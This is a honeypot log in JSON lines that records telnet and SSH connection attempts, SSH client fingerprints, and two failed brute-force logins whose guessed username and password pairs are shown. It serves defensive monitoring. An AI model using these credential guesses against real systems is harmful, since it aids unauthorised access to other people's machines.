{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38518,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cdd6408930a","protocol":"telnet","message":"New connection: 188.208.141.113:38518 (10.17.0.5:23) [session: 0cdd6408930a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.059311Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35972,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f8354a19c52","protocol":"telnet","message":"New connection: 162.55.233.176:35972 (159.203.135.109:23) [session: 2f8354a19c52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.072804Z"}
{"eventid":"cowrie.session.closed","duration":35.34660625457764,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.255589Z","src_ip":"162.55.233.176","session":"d84225c53920","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35978,"dst_ip":"159.203.135.109","dst_port":23,"session":"5947e9f8289a","protocol":"telnet","message":"New connection: 162.55.233.176:35978 (159.203.135.109:23) [session: 5947e9f8289a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.413534Z"}
{"eventid":"cowrie.session.closed","duration":30.991584539413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.507172Z","src_ip":"162.55.233.176","session":"d17ec1cabec4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.35620903968811,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:47.772492Z","src_ip":"162.55.233.176","session":"0c62d1cda054","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35982,"dst_ip":"159.203.135.109","dst_port":23,"session":"da3a0f4bc93c","protocol":"telnet","message":"New connection: 162.55.233.176:35982 (159.203.135.109:23) [session: da3a0f4bc93c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.022386Z"}
{"eventid":"cowrie.session.closed","duration":36.708537101745605,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.085171Z","src_ip":"162.55.233.176","session":"c3e26f299933","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.697542667388916,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.100085Z","src_ip":"188.208.141.113","session":"7631abf77c31","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31631541252136,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.256692Z","src_ip":"162.55.233.176","session":"3deb725f0720","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36002,"dst_ip":"159.203.135.109","dst_port":23,"session":"f220443f2a76","protocol":"telnet","message":"New connection: 162.55.233.176:36002 (159.203.135.109:23) [session: f220443f2a76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.541975Z"}
{"eventid":"cowrie.session.closed","duration":37.346997022628784,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.631572Z","src_ip":"162.55.233.176","session":"253145e0e3df","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":38524,"dst_ip":"10.17.0.5","dst_port":23,"session":"90ea3dc771e1","protocol":"telnet","message":"New connection: 188.208.141.113:38524 (10.17.0.5:23) [session: 90ea3dc771e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.720694Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36006,"dst_ip":"159.203.135.109","dst_port":23,"session":"20eb429f29f5","protocol":"telnet","message":"New connection: 162.55.233.176:36006 (159.203.135.109:23) [session: 20eb429f29f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:48.939676Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36014,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d4b9f1953b","protocol":"telnet","message":"New connection: 162.55.233.176:36014 (159.203.135.109:23) [session: 07d4b9f1953b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:49.007183Z"}
{"eventid":"cowrie.session.closed","duration":31.482897996902466,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:49.028698Z","src_ip":"162.55.233.176","session":"446ef07473d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35992,"dst_ip":"159.203.135.109","dst_port":23,"session":"724217f14f9f","protocol":"telnet","message":"New connection: 162.55.233.176:35992 (159.203.135.109:23) [session: 724217f14f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:49.531344Z"}
{"eventid":"cowrie.session.closed","duration":31.239814519882202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:49.649010Z","src_ip":"162.55.233.176","session":"6a16c70077b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36018,"dst_ip":"159.203.135.109","dst_port":23,"session":"23609c17117c","protocol":"telnet","message":"New connection: 162.55.233.176:36018 (159.203.135.109:23) [session: 23609c17117c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:50.043580Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36026,"dst_ip":"159.203.135.109","dst_port":23,"session":"13d3fed534a1","protocol":"telnet","message":"New connection: 162.55.233.176:36026 (159.203.135.109:23) [session: 13d3fed534a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:50.265154Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36036,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e6a9f716a28","protocol":"telnet","message":"New connection: 162.55.233.176:36036 (159.203.135.109:23) [session: 2e6a9f716a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:50.540893Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vfr43edcxsw2","message":"login attempt [root/vfr43edcxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:51.176576Z","src_ip":"213.209.159.158","session":"32b974c9e346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.89723229408264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:51.455101Z","src_ip":"162.55.233.176","session":"c1310be51d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.08534359931946,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:52.211450Z","src_ip":"162.55.233.176","session":"73a77c7f64dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36040,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9d7f575743e","protocol":"telnet","message":"New connection: 162.55.233.176:36040 (159.203.135.109:23) [session: f9d7f575743e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:52.551796Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36056,"dst_ip":"159.203.135.109","dst_port":23,"session":"5dd28a49d08b","protocol":"telnet","message":"New connection: 162.55.233.176:36056 (159.203.135.109:23) [session: 5dd28a49d08b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:52.634656Z"}
{"eventid":"cowrie.session.closed","duration":31.336758852005005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:52.663604Z","src_ip":"162.55.233.176","session":"cbe5702b8ae6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":36060,"dst_ip":"159.203.135.109","dst_port":23,"session":"1270b6deeb5c","protocol":"telnet","message":"New connection: 162.55.233.176:36060 (159.203.135.109:23) [session: 1270b6deeb5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:52.896786Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39858,"dst_ip":"159.203.135.109","dst_port":23,"session":"361338416167","protocol":"telnet","message":"New connection: 162.55.233.176:39858 (159.203.135.109:23) [session: 361338416167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.165162Z"}
{"eventid":"cowrie.session.closed","duration":37.81182360649109,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.187661Z","src_ip":"162.55.233.176","session":"4514f4ca2346","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39874,"dst_ip":"159.203.135.109","dst_port":23,"session":"646b851fb00d","protocol":"telnet","message":"New connection: 162.55.233.176:39874 (159.203.135.109:23) [session: 646b851fb00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.232998Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39878,"dst_ip":"159.203.135.109","dst_port":23,"session":"d76d05406bc8","protocol":"telnet","message":"New connection: 162.55.233.176:39878 (159.203.135.109:23) [session: d76d05406bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.270233Z"}
{"eventid":"cowrie.session.closed","duration":31.368165969848633,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.675583Z","src_ip":"162.55.233.176","session":"a59e18331680","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39884,"dst_ip":"159.203.135.109","dst_port":23,"session":"63624464affc","protocol":"telnet","message":"New connection: 162.55.233.176:39884 (159.203.135.109:23) [session: 63624464affc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.973337Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39896,"dst_ip":"159.203.135.109","dst_port":23,"session":"80ef640b437c","protocol":"telnet","message":"New connection: 162.55.233.176:39896 (159.203.135.109:23) [session: 80ef640b437c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:53.998516Z"}
{"eventid":"cowrie.session.closed","duration":31.22965717315674,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.007045Z","src_ip":"162.55.233.176","session":"cb9374bc85d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"11.1","message":"Connection lost after 11.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.026791Z","src_ip":"213.209.159.158","session":"32b974c9e346","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.63467264175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.080758Z","src_ip":"162.55.233.176","session":"0196f44f148c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":32284,"dst_ip":"10.17.0.5","dst_port":22,"session":"200c5814af24","protocol":"ssh","message":"New connection: 213.209.159.158:32284 (10.17.0.5:22) [session: 200c5814af24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.120584Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39906,"dst_ip":"159.203.135.109","dst_port":23,"session":"281ba22662ba","protocol":"telnet","message":"New connection: 162.55.233.176:39906 (159.203.135.109:23) [session: 281ba22662ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.125251Z"}
{"eventid":"cowrie.session.closed","duration":35.391143560409546,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.346415Z","src_ip":"162.55.233.176","session":"791e9be8bc36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39914,"dst_ip":"159.203.135.109","dst_port":23,"session":"3148db27c225","protocol":"telnet","message":"New connection: 162.55.233.176:39914 (159.203.135.109:23) [session: 3148db27c225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.413618Z"}
{"eventid":"cowrie.session.closed","duration":31.376099824905396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.689087Z","src_ip":"162.55.233.176","session":"6e631d156ae0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0836181640625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.812226Z","src_ip":"162.55.233.176","session":"94eec84fbfe6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.581076860427856,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:54.882244Z","src_ip":"162.55.233.176","session":"c9eeff56b548","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.98407316207886,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.111951Z","src_ip":"162.55.233.176","session":"d103286f87cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39928,"dst_ip":"159.203.135.109","dst_port":23,"session":"d08fa9999443","protocol":"telnet","message":"New connection: 162.55.233.176:39928 (159.203.135.109:23) [session: d08fa9999443]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.209517Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39944,"dst_ip":"159.203.135.109","dst_port":23,"session":"13c1fa7a03bb","protocol":"telnet","message":"New connection: 162.55.233.176:39944 (159.203.135.109:23) [session: 13c1fa7a03bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.380187Z"}
{"eventid":"cowrie.session.closed","duration":32.87766766548157,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.415212Z","src_ip":"162.55.233.176","session":"373822f22cab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.32902479171753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.614632Z","src_ip":"162.55.233.176","session":"d45f4605e326","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.72677826881409,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.654082Z","src_ip":"162.55.233.176","session":"37afc3fcadc9","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.719294Z","src_ip":"213.209.159.158","session":"200c5814af24","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.722718Z","src_ip":"213.209.159.158","session":"200c5814af24","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39946,"dst_ip":"159.203.135.109","dst_port":23,"session":"12f603d667a8","protocol":"telnet","message":"New connection: 162.55.233.176:39946 (159.203.135.109:23) [session: 12f603d667a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.900456Z"}
{"eventid":"cowrie.session.closed","duration":34.09728503227234,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:55.942152Z","src_ip":"162.55.233.176","session":"85811583dac5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.137.11.14","src_port":23460,"dst_ip":"10.17.0.5","dst_port":22,"session":"64f4716c92f8","protocol":"ssh","message":"New connection: 38.137.11.14:23460 (10.17.0.5:22) [session: 64f4716c92f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:56.006857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:56.011319Z","src_ip":"38.137.11.14","session":"64f4716c92f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.03235650062561,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:56.016600Z","src_ip":"162.55.233.176","session":"ad538362c463","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:56.235422Z","src_ip":"38.137.11.14","session":"64f4716c92f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.61744451522827,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:56.922523Z","src_ip":"162.55.233.176","session":"7e14cccaf248","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"qwerty12345678","message":"login attempt [ubuntu/qwerty12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.163501Z","src_ip":"38.137.11.14","session":"64f4716c92f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39952,"dst_ip":"159.203.135.109","dst_port":23,"session":"063516977313","protocol":"telnet","message":"New connection: 162.55.233.176:39952 (159.203.135.109:23) [session: 063516977313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.276470Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39958,"dst_ip":"159.203.135.109","dst_port":23,"session":"c523375ddf74","protocol":"telnet","message":"New connection: 162.55.233.176:39958 (159.203.135.109:23) [session: c523375ddf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.354445Z"}
{"eventid":"cowrie.session.closed","duration":31.09462809562683,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.431844Z","src_ip":"162.55.233.176","session":"f7099cba37c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39972,"dst_ip":"159.203.135.109","dst_port":23,"session":"28095c7a652c","protocol":"telnet","message":"New connection: 162.55.233.176:39972 (159.203.135.109:23) [session: 28095c7a652c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.442080Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39978,"dst_ip":"159.203.135.109","dst_port":23,"session":"ef5b1cefff77","protocol":"telnet","message":"New connection: 162.55.233.176:39978 (159.203.135.109:23) [session: ef5b1cefff77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.457523Z"}
{"eventid":"cowrie.session.closed","duration":33.110469341278076,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:57.748965Z","src_ip":"162.55.233.176","session":"3429749f560c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39980,"dst_ip":"159.203.135.109","dst_port":23,"session":"876e62099f74","protocol":"telnet","message":"New connection: 162.55.233.176:39980 (159.203.135.109:23) [session: 876e62099f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.091963Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":39992,"dst_ip":"159.203.135.109","dst_port":23,"session":"37f8881c571b","protocol":"telnet","message":"New connection: 162.55.233.176:39992 (159.203.135.109:23) [session: 37f8881c571b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.280660Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.391035Z","src_ip":"38.137.11.14","session":"64f4716c92f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":4.130633115768433,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.544120Z","src_ip":"162.55.233.176","session":"3148db27c225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.706031560897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.654528Z","src_ip":"162.55.233.176","session":"b5b035d0329c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.11131501197815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:57:58.684505Z","src_ip":"162.55.233.176","session":"fe2ab27f6f93","protocol":"telnet"}
